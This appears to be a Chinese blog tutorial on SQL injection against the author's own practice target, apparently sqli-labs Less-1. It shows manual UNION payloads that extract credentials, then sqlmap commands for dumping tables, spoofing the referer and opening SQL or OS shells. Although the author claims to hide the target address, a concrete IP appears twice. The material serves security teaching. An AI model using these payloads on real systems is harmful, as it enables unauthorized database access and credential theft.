點贊後看,養成習慣
喜歡的話 可以點個關注喲
你們的點贊支持對博主們來說很重要哦 !!!
本文將針對以下問題逐條進行解答:
01 Sqlmap是用來幹什麼的?
02 手工注入測試SQL注入漏洞的過程?
03 使用Sqlmap測試SQL注入漏洞的過程?
04 使用Sqlmap有什麼心得?
爲方便您的閱讀,可戳下方藍字,快速跳轉
01 Sqlmap的用途
如果大家有聽過SQL注入漏洞,那麼簡單來說,SQLmap便是自動化SQL注入漏洞工具。
Sqlmap是專門用於對付網站數據庫的利器,不僅可以對數據庫進行指紋識別、讀取文件、提取數據等操作,在獲取管理員權限情況下,甚至可以對數據庫進行刪庫操作,爲所欲爲!
可能從以上的描述,大家還不能理解Sqlmap這個工具的厲害之處。
那麼接下來,我就以同一個漏洞場景,分別從手工測試和Sqlmap工具層面進行測試,讓大家見識見識Sqlmap的厲害。
(爲安全起見,不公開搭建的靶場,以下測試環境中以xx.xx.xx.xx代替真實IP地址)
02 手工SQL注入漏洞
這裏舉一個SQL注入漏洞的栗子:
通過Union注入獲取後臺數據庫的user表中對應的用戶名及密碼信息:
1.在疑似注入頁面的網站:http://47.107.79.22:83/Less-1中,通過添加單引號判斷是否存在注入點
http://xx.xx.xx.xx:83/Less-1/?id=1
http://xx.xx.xx.xx:83/Less-1/?id=1'
根據以上測試,發現數字1後添加單引號之後再次請求頁面, 頁面返回信息不同 初步判斷存在SQL注入漏洞,且頁面返回數據庫信息的 , 針對性採用union注入攻擊
2.判斷該頁面的字段數
http://xx.xx.xx.xx:83/Less-1/?id=1' order by 3 --
(注意:-- 兩個橫槓一個空格是mysql中的註釋符,用於註釋注入語句之後的語句)
http://xx.xx.xx.xx:83/Less-1/?id=1' order by 4 --
我們發現當輸入字段數爲3時,頁面信息無誤,而輸入字段數爲4時,頁面返回信息出錯。
因此我們判斷頁面字段數爲3
3.查看頁面回顯點
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,2,3 --
(注意:這裏要把1改成-1,原因是當用id=1的時候執行的結果只有一條記錄,所以我們要讓union左邊的select子句查詢結果爲空,這樣頁面就會回顯union右邊的查詢結果)
觀察頁面,2,3數字位置爲回顯點,我們可以通過該回顯點來獲取數據庫名、數據表名等關鍵信息
4.查看數據庫
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,2,database() --
我們獲取到數據庫名爲:security
之所以我們能夠查詢到數據庫名,是因爲mysql數據庫的特殊性。
在mysql數據庫中,information_schema是系統數據庫,安裝完就有,記錄內容是當前數據庫的數據庫,表,列,用戶權限等信息,以下是該數據庫中的三張數據表:
表名 | 含義 |
---|---|
SCHEMATA表 | 儲存mysql所有數據庫的基本信息,包括數據庫名,編碼類型路徑等,show databases的結果取之此表。 |
TABLES表* | 儲存mysql中的表信息,(當然也有數據庫名這一列,這樣才能找到哪個數據庫有哪些表嘛)包括這個表是基本表還是系統表,數據庫的引擎是什麼,表有多少行,創建時間,最後更新時間等。show tables from schemaname的結果取之此表 |
COLUMNS表 | 提供了表中的列信息,(當然也有數據庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的信息,包括該列是那個表中的第幾列,列的數據類型,列的編碼類型,列的權限,獵德註釋等。是show columns from schemaname.tablename的結果取之此表。 |
5.查看數據表
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,2,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1) --
我們得知有個數據表名是users。
6.查看對應數據
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --
以上測試用到的函數:
函數 | 作用 |
---|---|
concat_ws() | 從數據庫裏取N個字段,然後組合到一起用符號分割顯示,第一個參數剩餘參數間的分隔符 |
char() | 將十進制ASCII碼轉化成字符 |
user() | 返回當前數據庫連接使用的用戶 |
database() | 返回當前數據庫連接使用的數據庫 |
version() | 返回當前數據庫的版本 |
03 使用Sqlmap的方法
一般情況下,我們利用該工具的思路如下:
1)尋找一個可能有SQL注入漏洞的網址
http://47.107.79.22:83/Less-1/?id=1
2)使用SQLmap,-u參數檢測是否存在注入漏洞( 如果網址存在多個參數,這個網址要用雙引號包起來)
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1
檢測的時候出現的三個問題分別是:
1、已檢測出可能是某某某數據庫,是否跳過其他數據庫的檢查
2、是否啓用對於某某某數據庫的所有負載測試
3、已知某參數可能存在注入,是否還有檢測其他參數
3)–dbs參數 查看數據庫
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --dbs
4)–tables參數 查看數據表
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security --tables
4)–columns參數 查看數據列
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --columns
5)–dump參數 查看具體內容
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump
註明:爲了加強我們檢測的力度,每次使用的時候可以使用高等級檢測,和僞造referer
即每次都加上
–level 5 --referer http://baidu.com
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump --level 5 --referer http://baidu.com
6)在獲知數據庫名、數據表名、列名的情況下,我們還可以使用自定義SQL語句參數爲 --sql-shell
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --sql-shell
這裏以查詢user數據包的所有數據舉例
檢索結果如下:
除此之外,我們還可以通過數據庫來進行系統命令注入,
參數爲 --os-shell,這個大家自行嘗試
04 簡單小結
通過上述手工測試和工具測試的例子,相信大家可以瞭解到:相較於繁瑣複雜的手工SQL注入測試,Sqlmap像是給貓插上了翅膀一般,理解一些主要關鍵字的用法即可上手。
所以當你遇到可能的SQL注入場景,都可以先來Sqlmap來遛一遛,說不定就有驚喜等着你。
當然,雖說不管白貓黑貓,能抓到耗子的就是好貓。Sqlmap工具在效率上顯然是佔據優勢的,但其也存在其侷限性,在某些特定場合並不喫香。而手工注入永遠你"最後的武器",希望大家平時也勤加練習。
最後,如果本文對你有所幫助,希望可以點個贊支持一下。你們的鼓勵將會是博主原創的動力。